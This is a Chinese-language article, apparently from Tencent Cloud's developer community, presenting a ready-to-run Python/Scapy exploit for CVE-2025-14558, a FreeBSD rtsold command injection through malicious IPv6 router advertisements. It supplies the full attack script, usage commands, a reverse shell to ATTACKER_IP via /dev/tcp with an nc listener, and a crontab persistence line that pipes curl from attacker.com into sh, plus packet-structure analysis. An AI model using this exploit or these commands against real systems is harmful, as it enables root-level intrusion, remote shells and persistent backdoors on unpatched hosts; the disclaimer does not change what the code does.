
CVE-2025-14558是一个影响FreeBSD系统的关键远程代码执行(RCE)漏洞,CVSS评分高达9.8/10。该漏洞存在于IPv6无状态地址自动配置(SLAAC)处理过程中,攻击者可以通过发送恶意的IPv6路由器广播(RA)数据包,在目标系统上执行任意shell命令。
本项目提供了一个完整的漏洞复现脚本,用于演示如何利用该漏洞实现远程命令执行。漏洞的根本原因在于rtsold进程在处理域名搜索列表(DNSSL)选项时,未对输入进行适当的shell引号处理,导致命令注入。
# 安装Python依赖包
pip install scapy
# 或者通过requirements.txt安装
pip install -r requirements.txt# 需要root权限执行脚本
sudo python3 CVE-2025-14558.py --iface eth0 --command "id"# 发送恶意RA数据包,在目标系统上执行id命令
sudo python3 CVE-2025-14558.py --iface eth0 --command "id > /tmp/pwned"
# 使用自定义IPv6前缀
sudo python3 CVE-2025-14558.py --iface eth0 --command "touch /tmp/exploit_success" --prefix "2001:db8:cafe::"
# 持续发送攻击数据包
sudo python3 CVE-2025-14558.py --iface eth0 --command "ping -c 5 8.8.8.8" --loop# 在目标系统/tmp目录创建测试文件
sudo python3 CVE-2025-14558.py --iface eth0 --command "echo '系统已被入侵' > /tmp/backdoor.txt"# 首先在攻击机上启动监听
nc -lvnp 4444
# 然后发送恶意数据包建立反向连接
sudo python3 CVE-2025-14558.py --iface eth0 --command "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"--iface:指定发送数据包的网络接口(必需)--command:要注入执行的shell命令(必需)--prefix:IPv6前缀地址(默认:2001:db8::)--loop:启用持续发送模式攻击成功后,可以在目标FreeBSD系统上检查:
# 检查命令执行结果
ls -l /tmp/pwned
cat /tmp/pwned
# 查看进程信息
ps aux | grep rtsold
# 检查系统日志
tail -f /var/log/messages#!/usr/bin/env python3
# CVE-2025-14558 PoC - FreeBSD rtsold Command Injection via DNSSL in Router Advertisement
# Author: Ash Wesker
# Requirements: pip install scapy
# Run as root: sudo python3 CVE-2025-14558.py --iface eth0 --command "id > /tmp/pwned"
from scapy.all import *
import argparse
# 参数解析器配置
parser = argparse.ArgumentParser(description="CVE-2025-14558 PoC - Send malicious IPv6 RA with DNSSL injection")
parser.add_argument("--iface", required=True, help="Network interface to send from (e.g. eth0)")
parser.add_argument("--command", required=True, help="Command to inject (e.g. 'id > /tmp/pwned' or reverse shell)")
parser.add_argument("--prefix", default="2001:db8::", help="IPv6 prefix to advertise (default: 2001:db8::)")
parser.add_argument("--loop", action="store_true", help="Send packets continuously")
args = parser.parse_args()
# 构造恶意域名:以;命令#结尾的格式
# 这是漏洞利用的关键,利用了rtsold处理DNSSL时的不当shell引号
malicious_domain = f"evil.com; {args.command} #".encode('utf-8')
# 构造ICMPv6路由器广播数据包
# 目标地址ff02::1是IPv6所有节点的组播地址
packet = (
IPv6(dst="ff02::1") / # 所有节点组播地址
ICMPv6ND_RA(chlim=64, routerlifetime=9000) / # 路由器通告
ICMPv6NDOptPrefixInfo(prefixlen=64, prefix=args.prefix) / # 前缀信息选项
ICMPv6NDOptDNSSL(lifetime=9000, searchlist=[malicious_domain]) # 恶意DNSSL选项
)
# 输出攻击信息
print(f"[+] Sending malicious RA on {args.iface}")
print(f"[+] Injected command: {args.command}")
print(f"[+] Target must run vulnerable rtsold and process the RA")
# 发送数据包
if args.loop:
# 持续发送模式,每秒发送一个数据包
send(packet, iface=args.iface, inter=1, loop=1, verbose=0)
else:
# 单次发送模式,发送10个数据包,间隔1秒
send(packet, iface=args.iface, count=10, inter=1, verbose=0)
print("[+] Done. Check target for execution (e.g. /tmp/pwned)")# 漏洞触发点分析
# 当rtsold处理DNSSL选项时,会调用如下类似逻辑:
# system("/sbin/resolvconf -a em0.domain < domain_list")
# 攻击者构造的恶意域名:
# "evil.com; id > /tmp/pwned #"
# 实际执行的命令变为:
# /sbin/resolvconf -a em0.domain evil.com; id > /tmp/pwned #
# Shell会将";"解析为命令分隔符,导致执行:
# 1. /sbin/resolvconf -a em0.domain evil.com
# 2. id > /tmp/pwned
# 3. #(注释掉后续内容)
# 这就是命令注入成功的关键# IPv6数据包结构分析:
#
# 1. IPv6层:
# - dst="ff02::1":IPv6所有节点组播地址
# - 确保本地网络所有IPv6主机都能接收到
#
# 2. ICMPv6ND_RA层(路由器通告):
# - chlim=64:建议的跳数限制
# - routerlifetime=9000:路由器生存时间(秒)
# - 使目标系统接受这个路由器作为默认网关
#
# 3. ICMPv6NDOptPrefixInfo层(前缀信息选项):
# - prefixlen=64:前缀长度
# - prefix=args.prefix:IPv6前缀
# - 提供IPv6地址配置信息
#
# 4. ICMPv6NDOptDNSSL层(域名搜索列表选项):
# - lifetime=9000:选项生存时间
# - searchlist=[malicious_domain]:恶意域名列表
# - 这是漏洞利用的载体,包含注入的命令
#
# 整个数据包的组合使目标系统认为这是一个合法的路由器通告,
# 从而处理其中的DNSSL选项,触发命令注入漏洞# 攻击成功后验证示例
# 如果攻击成功,目标系统上会执行注入的命令
# 示例1:创建文件验证
# 发送命令:touch /tmp/CVE-2025-14558_SUCCESS
# 验证方式:在目标系统执行 ls -l /tmp/CVE-2025-14558_SUCCESS
# 示例2:获取系统信息
# 发送命令:uname -a > /tmp/system_info.txt
# 验证方式:在目标系统执行 cat /tmp/system_info.txt
# 示例3:建立持久化访问
# 发送命令:echo "*/5 * * * * curl http://attacker.com/backdoor.sh | sh" >> /etc/crontab
# 注意:这是恶意示例,仅用于演示漏洞严重性
# 关键点:所有命令都以root权限执行
# 因为rtsold通常以root身份运行并调用/sbin/resolvconfrtsol(8) - IPv6路由器请求工具rtsold(8) - IPv6路由器请求守护进程重要声明:本工具仅用于合法的安全研究和教育目的。使用者需确保在授权环境下进行测试,并遵守所有适用的法律法规。未经授权对他人系统进行攻击是非法行为。
6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcANF3u0ZX8vSawMQE8lV2fin
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。